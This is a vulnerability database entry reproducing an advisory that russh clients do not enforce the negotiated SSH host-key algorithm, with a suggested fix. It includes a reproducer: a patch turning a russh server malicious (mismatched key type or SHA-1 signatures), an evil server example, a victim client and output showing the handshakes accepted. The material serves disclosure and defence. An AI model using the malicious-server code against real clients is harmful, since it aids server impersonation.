
Cloud Vulnerability DB
A community-led vulnerabilities database
When the russh client handles SSH_MSG_KEX_ECDH_REPLY / SSH_MSG_KEX_DH_GEX_REPLY, it never checks the server host key or
its exchange-hash signature against the negotiated server_host_key_algorithm (Names::key). It accepts a host key of
any type and a signature of any algorithm, as long as the signature verifies under the key the server sent. As a result,
Preferred::key (the client's only host-key algorithm setting) chooses what the client offers but is not enforced:
rsa-sha2-512 accepts an exchange hash signed with ssh-rsa (SHA-1);ssh-ed25519 accepts an RSA (or any other type) host key, and then calls check_server_key with it.
This is the client-side mirror of GHSA-j7h2-66j4-ghjf (CVE-2026-111062). That advisory fixed the same "signature
algorithm is not the one named" check in server publickey auth in 0.64.0, but the KEX host-key path was never changed.russh/src/client/kex.rs (v0.65.1), ClientKexState::WaitingForDhReply:
server_host_key_blob is decoded with parse_public_key() (or Certificate::from_bytes), whatever its key type.
The type is never compared with names.key.Signature::decode() takes the signature algorithm from the blob.signature::Verifier::verify(&server_host_key, hash, &signature). ssh-key's RSA verifier
accepts ssh-rsa, rsa-sha2-256 and rsa-sha2-512 signatures alike, and other key types verify their own algorithm.names.key is used only to build the KEXINIT offer and is reported to Handler::kex_done. So the application is told
rsa-sha2-512 / ssh-ed25519 even when the key that was verified is SHA-1 RSA / RSA.
For comparison, OpenSSH (kexgen_client.c, kexgex_client.c) rejects a host key whose type (or ECDSA curve) differs
from kex->hostkey_type with "type mismatch for decoded server_host_key_blob". It also passes kex->hostkey_alg to
sshkey_verify(), which rejects an ssh-rsa signature when rsa-sha2-* was negotiated (RFC 8332 §3). The russh
server already does the equivalent for user auth (server/encrypted.rs L1181-1191).
The same pattern appears in client/encrypted.rs::verify_hostkeys_proof (L39, hostkeys-prove-00@openssh.com): the
proof signature algorithm is not fixed, so an RSA proof made with ssh-rsa is accepted.
Suggested fix
In client/kex.rs, after decoding the host key and the signature:
names.key: any RSA key for an RSA algorithm, the same curve for
ECDSA, otherwise an exact match. For certificates, compare the certificate's algorithm with the negotiated
certificate algorithm (to_certificate_type()), as the server side already does in server/kex.rs.signature.algorithm() == names.key (for RSA, the rsa-sha2-* / ssh-rsa hash must match the
negotiated one). This is the same check 0.64.0 added to server/encrypted.rs for GHSA-j7h2-66j4-ghjf.
Apply the same signature-algorithm check in verify_hostkeys_proof.Self-contained loopback reproducer. The victim is an unmodified russh 0.65.1 client using only the public API. The
malicious server is russh 0.65.1 with a 2-hunk patch to russh/src/server/kex.rs.
1. Malicious server. In a checkout of v0.65.1, apply this patch:
--- a/russh/src/server/kex.rs 2026-11-03 22:02:42.000000000 +0530
+++ b/russh/src/server/kex.rs 2026-11-15 23:28:40.259956177 +0530
@@ -313,7 +313,15 @@
.config
.keys
.iter()
- .find(|key| is_key_compatible_with_algo(key, &names.key))
+ .find(|key| {
+ // EVIL: with EVIL_KEYTYPE set, sign with a host key whose
+ // type does NOT match the negotiated host-key algorithm.
+ if std::env::var("EVIL_KEYTYPE").is_ok() {
+ !is_key_compatible_with_algo(key, &names.key)
+ } else {
+ is_key_compatible_with_algo(key, &names.key)
+ }
+ })
.ok_or(Error::UnknownKey)?;
(key, None)
};
@@ -328,6 +336,8 @@
// Look up the key we'll be using to sign the exchange hash
let signature_hash_alg = match &names.key {
+ // EVIL: with EVIL_SHA1 set, sign with ssh-rsa (SHA-1) whatever was negotiated.
+ Algorithm::Rsa { .. } if std::env::var("EVIL_SHA1").is_ok() => None,
Algorithm::Rsa { hash } => *hash,
_ => None,
};and add russh/examples/evil_hostkey_server.rs:
//! Malicious-peer SSH server for the r1-client-hostkey-alg-binding reproducer.
//! Built from a copy of russh v0.65.1 with evil-server.patch applied (server/kex.rs):
//! EVIL_SHA1=1 -> signs the exchange hash with ssh-rsa (SHA-1) although rsa-sha2-512 was negotiated
//! EVIL_KEYTYPE=1 -> signs with a host key whose type differs from the negotiated host-key algorithm
//! Accepts "none" auth so the client reaches the authenticated state.
use std::sync::Arc;
use russh::keys::{Algorithm, PrivateKey};
use russh::server::{Auth, Handler};
use tokio::net::TcpListener;
struct H;
impl Handler for H {
type Error = russh::Error;
async fn auth_none(&mut self, _user: &str) -> Result<Auth, Self::Error> {
Ok(Auth::Accept)
}
}
#[tokio::main]
async fn main() {
let port: u16 = std::env::args().nth(1).unwrap_or("22022".into()).parse().unwrap();
let mut rng = rand::rng();
// Deterministic order: ed25519 first, RSA second.
let ed = PrivateKey::random(&mut rng, Algorithm::Ed25519).unwrap();
let rsa = PrivateKey::from(russh::keys::ssh_key::private::RsaKeypair::random(&mut rng, 2048).unwrap());
let keys = if std::env::var("EVIL_SHA1").is_ok() { vec![rsa] } else { vec![ed, rsa] };
let config = Arc::new(russh::server::Config {
keys,
auth_rejection_time: std::time::Duration::from_millis(0),
auth_rejection_time_initial: Some(std::time::Duration::from_millis(0)),
..Default::default()
});
let listener = TcpListener::bind(("127.0.0.1", port)).await.unwrap();
eprintln!("[evil-server] listening on 127.0.0.1:{port}");
let (sock, _) = listener.accept().await.unwrap();
let running = russh::server::run_stream(config, sock, H).await;
match running {
Ok(s) => { let _ = s.await; }
Err(e) => eprintln!("[evil-server] session error: {e:?}"),
}
}Run it with EVIL_SHA1=1 cargo run --example evil_hostkey_server -- 22032 (signs the exchange hash with ssh-rsa/SHA-1
after negotiating rsa-sha2-512), or EVIL_KEYTYPE=1 ... -- 22034 (negotiates ssh-ed25519 but presents and signs with
its RSA host key). Without either variable it behaves honestly (control).
2. Victim client (separate crate; russh = { path = "<clean v0.65.1 checkout>/russh" }, tokio = { version = "1", features = ["full"] }):
//! Victim: an unmodified russh v0.65.1 client that restricts the host-key algorithms it accepts.
//! mode "sha1": Preferred.key = [rsa-sha2-512] only (ssh-rsa / SHA-1 deliberately excluded)
//! mode "keytype": Preferred.key = [ssh-ed25519] only
use std::borrow::Cow;
use std::sync::Arc;
use russh::keys::{Algorithm, HashAlg, PublicKeyOrCertificate};
use russh::{client, Preferred};
struct C;
impl client::Handler for C {
type Error = russh::Error;
async fn check_server_key(&mut self, k: &PublicKeyOrCertificate) -> Result<bool, Self::Error> {
if let PublicKeyOrCertificate::PublicKey { key, .. } = k {
println!("[client] check_server_key called with host key algorithm: {}", key.algorithm());
} else {
println!("[client] check_server_key called with certificate");
}
Ok(true) // e.g. TOFU / known_hosts hit
}
async fn kex_done(
&mut self,
_s: Option<&[u8]>,
names: &russh::Names,
_session: &mut client::Session,
) -> Result<(), Self::Error> {
println!("[client] kex_done: negotiated host-key algorithm = {}", names.key);
Ok(())
}
}
#[tokio::main]
async fn main() {
let mode = std::env::args().nth(1).unwrap_or("sha1".into());
let port: u16 = std::env::args().nth(2).unwrap_or("22022".into()).parse().unwrap();
let key: Vec<Algorithm> = match mode.as_str() {
"sha1" => vec![Algorithm::Rsa { hash: Some(HashAlg::Sha512) }],
_ => vec![Algorithm::Ed25519],
};
println!("[client] mode={mode} allowed host-key algorithms = {:?}",
key.iter().map(|a| a.to_string()).collect::<Vec<_>>());
let config = Arc::new(client::Config {
preferred: Preferred { key: Cow::Owned(key), ..Preferred::default() },
..Default::default()
});
match client::connect(config, ("127.0.0.1", port), C).await {
Ok(mut h) => {
let r = h.authenticate_none("victim").await;
println!("[client] handshake ACCEPTED; auth result = {:?}", r.map(|r| r.success()));
}
Err(e) => println!("[client] handshake REJECTED: {e:?}"),
}
}Run cargo run -- sha1 22032 and cargo run -- keytype 22034.
3. Output:
=== EVIL_SHA1: server negotiates rsa-sha2-512 but signs with ssh-rsa (SHA-1) ===
[client] mode=sha1 allowed host-key algorithms = ["rsa-sha2-512"]
[client] check_server_key called with host key algorithm: ssh-rsa
[client] kex_done: negotiated host-key algorithm = rsa-sha2-512
[client] handshake ACCEPTED; auth result = Ok(true)
=== EVIL_KEYTYPE: server negotiates ssh-ed25519 but presents + signs with an RSA key (ssh-rsa/SHA-1) ===
[client] mode=keytype allowed host-key algorithms = ["ssh-ed25519"]
[client] check_server_key called with host key algorithm: ssh-rsa
[client] kex_done: negotiated host-key algorithm = ssh-ed25519
[client] handshake ACCEPTED; auth result = Ok(true)With the honest server (control) both handshakes complete normally with the negotiated algorithm. Expected for the two malicious cases: the handshake fails with a key exchange error, as it does with OpenSSH.
A client that restricts host-key algorithms does not get that restriction. Examples are a client that drops ssh-rsa
(SHA-1) to follow OpenSSH 8.8+ / FIPS crypto policy, or a client limited to ssh-ed25519 so that a retired or weak RSA
host key is no longer trusted. If the application's check_server_key still trusts a key of the excluded type for that
host (for example a known_hosts file with several key types per host, as ssh-keyscan or UpdateHostKeys writes it),
then whoever holds that excluded key can complete the handshake and impersonate the server. The application is also told
the wrong algorithm in kex_done. It cannot see or enforce the RSA signature hash itself, because the signature is
never passed to the handler.
Not affected: clients with the default Preferred::key, which already lists every enabled type including ssh-rsa.
A network attacker without a host private key that check_server_key accepts gains nothing. The SHA-1 case signs a
SHA-256 exchange hash, so it is a policy downgrade and not a forgery primitive.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."